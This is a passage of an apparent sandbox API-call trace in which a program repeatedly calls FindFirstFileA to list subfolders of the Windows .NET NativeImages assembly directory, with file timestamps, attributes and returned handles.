cAlternateFileName="")) returned 0x549810 [0240.161] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x600f4b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc81fba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc81fba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.183] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUPnP\\8b58e86c1211cac8bb344ec05015055b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x600f4b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc81fba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc81fba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.188] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f3dd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc845d00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc845d00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.193] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiUserXp\\a6dc826bf08c95bd5fe459a02bbfd33c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f3dd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc86be60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc86be60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.199] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ef12cd0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xc86be60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc86be60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.205] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiVidCtl\\11d57f5c033326954c0bc4f0b2680812\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ef12cd0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xc891fc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc891fc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.210] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60297a60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc891fc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc891fc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.216] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiwmp\\9f570489c98c93a79f0fd793586afdc6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60297a60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc891fc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc891fc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.221] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6037c2a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc8b8120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc8b8120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.227] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiWUapi\\b253aa4b8000e29b2fb725e4f7b8bc7c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6037c2a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc8b8120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc8b8120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.233] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f4757c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc8b8120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc8b8120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.238] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f4757c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc8de280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc8de280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.245] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x616ad400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc8de280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc8de280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.251] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x616ad400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc8de280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc8de280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.256] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8519236, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc9043e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc9043e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.263] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8519236, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc9043e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc9043e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.270] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5f0c990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc92a540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc92a540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.276] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ipdmctrl\\c114fd0136f1371dca5def538991bc79\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5f0c990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc92a540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc92a540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.282] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61ad7a80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc92a540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc92a540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.287] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\LoadMxf\\d09b54cd68bc772b3be3832926e940d4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61ad7a80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc9506a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc9506a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.292] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f580160, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc9506a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc9506a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.296] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f580160, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc9506a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc9506a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.302] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61f4e3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc976800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc976800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.307] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MCESidebarCtrl\\f04b0488328a68d57953149b31a85065\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61f4e3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc976800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc976800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.312] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62163700, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc976800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc976800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.318] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcGlidHostObj\\18aae97d7e56a28acf9d642ad23ab413\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62163700, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc99c960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc99c960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.324] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62410fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc99c960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc99c960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.329] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcplayerinterop\\f7a93626b76fe66f217c19426cc5b02a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62410fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc99c960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc99c960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.336] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f6d6dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc9c2ac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc9c2ac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.341] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstore\\67c2902f53638a9056174f6130a8bde7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f6fcf20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc9c2ac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc9c2ac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.349] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f7bb600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc9e8c20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc9e8c20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.355] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f7bb600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc9e8c20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc9e8c20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.363] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628f9d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xca0ed80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xca0ed80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.368] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628f9d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xca0ed80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xca0ed80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.373] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6176bae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xca0ed80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xca0ed80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.378] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6176bae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xca34ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xca34ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.383] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4322b8f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xca34ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xca34ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.389] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4322b8f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xca34ee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xca34ee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.394] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62dbc920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xca5b040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xca5b040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.399] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\01c92af8d09572a4e4ccb46e3cd71d3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62dbc920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xca5b040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xca5b040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.405] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Applicati#\\74c8f5e75ec10458436bb476c2cfd9fc\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62f5f840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xca5b040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xca5b040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, 